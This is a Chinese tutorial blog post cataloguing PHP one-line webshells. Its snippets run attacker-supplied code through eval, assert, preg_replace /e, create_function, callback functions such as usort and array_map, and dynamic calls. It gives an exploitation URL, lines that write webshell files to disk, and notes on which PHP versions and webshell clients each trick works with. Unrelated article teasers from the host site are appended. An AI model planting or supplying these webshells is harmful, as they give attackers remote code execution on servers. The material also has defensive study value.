php assert eval,代碼執行函數之一句話木馬

前言

大家好,我是阿里斯,一名IT行業小白。非常抱歉,昨天的內容出現瑕疵比較多,今天重新整理后再次發出,修改并添加了細節,另增加了常見的命令執行函數如果哪里不足,還請各位表哥指出。

eval和assert的區別

eval特點

eval()會把字符串按照php代碼來執行(合法的php代碼,以分號結尾)

eval()是一個語言構造器,不能被可變函數調用

eval($_REQUEST[1]); #eval一句話木馬使用方式$_POST['1']($_POST['2'])???#這里我們使用可變函數,參數1傳入eval會不可用

assert特點

把字符串當做php代碼去執行,這里對字符串的要求嗎,沒有eval嚴格

assert在php7.0也不再是函數,變成了語言結構(不能使用可變函數了)

函數

eval()

$a = $_POST['cmd1'];

eval($a);

9f754300d88dfb037f5aa8cfde87a681.png

assert()

assert($_REQUEST['a']); #11年,16年的菜刀可以使用

# 參考鏈接 https://www.freebuf.com/articles/web/56616.html

3142c4b7bd86b212a2419be282bbfa1e.png

preg_replace()

這個函數的第一個參數是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那么這個函數的第二個參數就會被當作代碼執行

preg_replace('/asd/e', $_POST['a'], 'asdfasdg');

# 14年的菜刀不行 蟻劍報錯

# php5.5后開始棄用/e模式,但是經過測試11的菜刀配合php5.6還可以使用

fce1258094dbbc2213c7a08cd5f5f1e3.png

create_function()

create_function()創建匿名函數,如果沒有嚴格對參數傳遞進行過濾,攻擊者可以構造特殊字符串傳遞給create_function()執行任意命令。

create_function的實現步驟:

1. 獲取參數, 函數體;

2. 拼湊一個"function __lambda_func (參數) { 函數體;} "的字符串;

3. eval;

4. 通過\_\_lambda_func在函數表中找到eval后得到的函數體, 找不到就出錯;

5. 定義一個函數名:"\000_lambda_" . count(anonymous_functions)++;

6. 用新的函數名替換__lambda_func;

7. 返回新的函數。

8. 參考鏈接 https://www.t00ls.net/articles-20774.html

$func = create_function('', $_POST['cmd']);

$func();

42a96adbf1f7b2194cef202c774e565b.png

call_user_func()

把第一個參數作為回調函數調用,其余參數是回調函數的參數。

call_user_func('assert', $_REQUEST['cmd']);

# 經過測試php7.0已失效

58a117718ca7ebe9a1e51f02405b8f38.png

call_user_func_array()

調用回調函數,并把一個數組參數作為回調函數的參數

$cmd = $_REQUEST['cmd'];

$arr[0] = $cmd;

call_user_func_array('assert', $arr);

# 7.0 php測試失敗

2f9f37747257b7bfe989b3d4118c48a2.png

array_filter()

第一個參數為數組,第二個參數為回調函數。這個函數的作用就是將array數組中的每個值傳遞給回調函數做參數。

$cmd = $_REQUEST['cmd'];

$arr = array($cmd);

$func = $_REQUEST['func'];

array_filter($arr, $func);

# 經過測試php7.0失效

b76a93b5270e1fc5ecde0c29409ad24a.png

usort()

函數執行的時候,會依次把$a中的兩個值,傳遞給名字為my_sort函數中,所以你會看到my_sort有兩個形參

參考鏈接http://www.am0s.com/functions/97.html

usort(...$_GET);

# php5.6以上7.0以下有效

#利用方式

#http://127.0.0.1:8999/test/project/code_run.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert

#x=phpinfo();

b042a72b7e964979247304910969c6e5.png

7400757645766bf5ca9d0a6a87ee56db.png

a4b1a781b1d413273dfc38c336a539d7.png

file_put_contents()

把一個字符串寫入文件中,在瀏覽器訪問這個文件會生成相應的木馬文件。

$ma = '<?php eval($_REQUEST[cmd]);?>';#這里一定要使用單引號雙引號會把$_REQUEST[]當作變量使用

file_put_contents('muma.php', $ma);

fputs()

同上

fputs(fopen('shell.php', 'w'), '<?php eval($_REQUEST[cmd])?>');

動態函數

$_GET['a']($_POST['b']);

b8a35e0779b4481edfdd089732985e3e.png

array_map()

array_map($_GET[func], array($_POST[cmd]));

9cd21ab69c715fd6efdd613f605fa4f8.png

命令執行函數(常見)

system()

將字符串當作shell命令執行,返回最后一行shell命令的執行結果

system('whoami');

375af32421ec36eae099c2cec4764789.png

passthru()

調用shell命令,把命令的執行結果輸出到標準輸出設備上

passthru('whoami')

2ff40eaf7c58605b37d71cc7619d053f.png

exec()

不輸出結果,返回shell命令執行結果的最后一行

print(exec('whoami'));

1799cdb6de677b078564ced18c00f115.png

shell_exec()

不輸出結果,返回shell命令執行的所有結果

print(shell_exec('whoami?&&?dir'));

86505babc1b3e05e4f74c6997717c30f.png

反引號``

加了反引號的字符串將嘗試作為外殼命令來執行,并將奇輸出信息返回。

print(`whoami`);

6e1c2407e402fc6ffcfb5614c41deeae.png

結語

歡迎各位轉發點再看,感激不盡!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532826.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532826.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532826.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

顯卡、顯卡驅動、CUDA、CUDA Toolkit、cuDNN 梳理

顯卡、顯卡驅動、CUDA、CUDA Toolkit、cuDNN 梳理 轉自&#xff1a;https://www.cnblogs.com/marsggbo/p/11838823.html#nvccnvidia-smi GPU型號含義 顯卡&#xff1a; 簡單理解這個就是我們前面說的GPU&#xff0c;尤其指NVIDIA公司生產的GPU系列&#xff0c;因為后面介紹的…

php中msubstr,PHP學習:thinkphp中字符截取函數msubstr()用法分析

《PHP學習&#xff1a;thinkphp中字符截取函數msubstr()用法分析》要點&#xff1a;本文介紹了PHP學習&#xff1a;thinkphp中字符截取函數msubstr()用法分析&#xff0c;希望對您有用。如果有疑問&#xff0c;可以聯系我們。本文實例講述了thinkphp中字符截取函數msubstr()用法…

VS Code的Error: Running the contributed command: ‘_workbench.downloadResource‘ failed解決

VS Code的Error: Running the contributed command: _workbench.downloadResource failed解決 轉自&#xff1a;https://blog.csdn.net/ibless/article/details/118610776 1 問題描述 此前&#xff0c;本人參考網上教程在VS Code中配置了“Remote SSH”插件&#xff08;比如這…

Oracle閃回報錯,oracle 閃回區滿了,ORA-19815

oracle 閃回區滿了&#xff0c;查看日志報錯&#xff1a;ORA-19815&#xff0c;命令行輸入&#xff1a;sqlplus / as sysdbastartup mount //如果你的數據庫出現了無法連接的情況時&#xff0c;可以加上這句select file_type, percent_space_used as used,percent_space_rec…

[2021-ICCV] MUSIQ Multi-scale Image Quality Transformer 論文簡析

[2021-ICCV] MUSIQ: Multi-scale Image Quality Transformer 論文簡析 論文&#xff1a;https://arxiv.org/abs/2108.05997 代碼&#xff1a;https://github.com/google-research/google-research/tree/master/musiq 概述 當前SOTA的IQA&#xff08;圖像質量評估&#xff0…

安裝oracle不動了,windows2008安裝ORACLE到2%不動的問題 | 信春哥,系統穩,閉眼上線不回滾!...

最近又有網友遇到在windows2008服務器上安裝ORACLE軟件時到2%就卡住不動的問題&#xff0c;下面是該網友的描述&#xff1a;oralce 11g r2 windows server 2008 R2安裝到最后一步復制數據文件時卡到2% 不走了內存一直飆升求解決這個問題前段時間也有人遇到過&#xff0c;但是他…

手把手教你入門Git --- Git使用指南(Linux)

手把手教你入門Git — Git使用指南&#xff08;Linux&#xff09; 系統&#xff1a;ubuntu 18.04 LTS 本文所有git命令操作實驗具有連續性&#xff0c;git小白完全可以從頭到尾跟著本文所有給出的命令走一遍&#xff0c;就會對git有一個初步的了解&#xff0c;應當能做到會用并…

linux修改主機名后oracle em控制臺起不來,更改計算機名后導致Oracle dbconsole無法啟動問題解決方法...

今天不知道哪根筋搭歪了&#xff0c;看著Oracle EM控制臺的主機名WIN-LOSGI0TCOG0亂七八糟的很不爽&#xff0c;就把它給改了。然后Oracle EM就上不去了&#xff0c;Oracledbconsole服務起不來&#xff0c;我嘗試把所有“WIN-LOSGI0TCOG0”替換成“ggsjy”&#xff0c;找了好多…

Shell腳本多行換行報錯:- unrecognized arguments- \

shell error: unrecognized arguments: \ 在使用linux長命令時&#xff0c;我們通常會用一個shell腳本加\分行的形式來更清晰展示參數。 這時有一個注意事項&#xff1a;在\后必須緊跟回車&#xff0c; 否則會導致后面的參數無法傳入。因為這時程序會將后面的參數算作一條新命…

shell腳本長命令帶換行 注釋方法

shell腳本長命令帶換行 注釋方法 命令行傳參 在訓練深度學習網絡時&#xff0c;我們每次實驗通常會有許多超參數需要設置&#xff0c;如batch size, epoch, gpu id, arch甚至還有一些具體的模型結構等。這事我們通常使用python模塊argparse&#xff0c;在命令行進行傳參。 比…

php對中英文字符串進行截取,利用php怎么對中英文混合的字符串進行截取

利用php怎么對中英文混合的字符串進行截取發布時間&#xff1a;2021-01-04 15:31:24來源&#xff1a;億速云閱讀&#xff1a;103作者&#xff1a;Leah利用php怎么對中英文混合的字符串進行截取&#xff1f;很多新手對此不是很清楚&#xff0c;為了幫助大家解決這個難題&#xf…

Linux查找命令find、loacte、whereis、which、type梳理

Linux查找命令find、loacte、whereis、which、type梳理 Linux操作系統中有5種常用的查找命令&#xff1a;find&#xff0c;locate&#xff0c;whereis&#xff0c;which&#xff0c;type&#xff0c;他們分別用于查找不同的東西&#xff0c;本文將就他們各自的功能進行一下梳理…

php數據關系圖,如何利用navicat查看數據表的ER關系圖

文章背景&#xff1a;(相關推薦&#xff1a;navicat)由于工作需要&#xff0c;現在要分析一個數據庫&#xff0c;然后查看各個表之間的關系&#xff0c;所以需要查看表與表之間的關系圖&#xff0c;專業術語叫做ER關系圖。默認情況下&#xff0c;Navicat顯示的界面是這樣的&…

Linux軟鏈接的使用

Linux軟鏈接的使用 轉自&#xff1a;https://www.cnblogs.com/sueyyyy/p/10985443.html&#xff0c;本博文僅對原博排版稍微優化。 更為細致的硬鏈接、軟鏈接的介紹可參考&#xff1a;Linux中的硬鏈接和軟鏈接 另外&#xff0c;提供筆者對軟連接的一個最簡單的理解&#xff…

oracle死鎖優化,Oracle性能優化之LockContention(轉)

1、概念DML事務使用row-level locks,查詢不會鎖定數據。鎖有兩種模式&#xff1a;exlusive、share。鎖的類型&#xff1a;? DML or data locks:– Table-level locks(TM)– Row-level locks(TX)? DDL or dictionary locks一個transaction至少獲得兩個鎖&#xff1a;一個共享的…

Linux中g++與gcc的區別

轉自&#xff1a;https://blog.csdn.net/bit_clearoff/article/details/53965514 Windows中我們常用vs來編譯編寫好的C和C代碼&#xff1b;vs把編輯器&#xff0c;編譯器和調試器等工具都集成在這一款工具中&#xff0c;在Linux下我們能用什么工具來編譯所編寫好的代碼呢&#…

linux系統可以用迅雷嗎,在Linux系統下使用wine運行迅雷5的方法

在Linux系統下使用wine運行迅雷5的方法一、下載ies4linux去 http://www.tatanka.com.br/ies4linux/page/Installation 下載ies4linux的文件包(目前版本為2.99)&#xff0c;然后解壓縮。注意&#xff1a;這個網站被大陸和諧了&#xff0c;需要跳墻。至于怎么跳&#xff0c;諸位就…

從C源代碼到可執行文件的四個過程:預處理、編譯、匯編、鏈接

從C源代碼到可執行文件的四個過程&#xff1a;預處理、編譯、匯編、鏈接 總覽 我們將在Linux操作系統中&#xff0c;以C語言的Hello World程序為例&#xff0c;用gcc編譯器分步執行這四個步驟。 我們有再熟悉不過的HelloWorld程序&#xff0c;hello.c&#xff1a; #include …

uboot引導linux內核,u-boot啟動內核的幾種方式

1.uboot啟動內核的代碼縮減如下&#xff1a;s getenv ("bootcmd");debug ("### main_loop: bootcmd\"%s\"\n", s ? s : "");if (bootdelay > 0 && s && !abortboot (bootdelay)){run_command (s, 0);}2.假設boot…

跟我一起寫makefile: 概述、介紹、規則

跟我一起寫makefile 概述、介紹、規則 轉自&#xff1a;https://seisman.github.io/how-to-write-makefile/rules.html 概述 什么是makefile&#xff1f;或許很多Windows的程序員都不知道這個東西&#xff0c;因為那些Windows的集成開發環境&#xff08;integrated developm…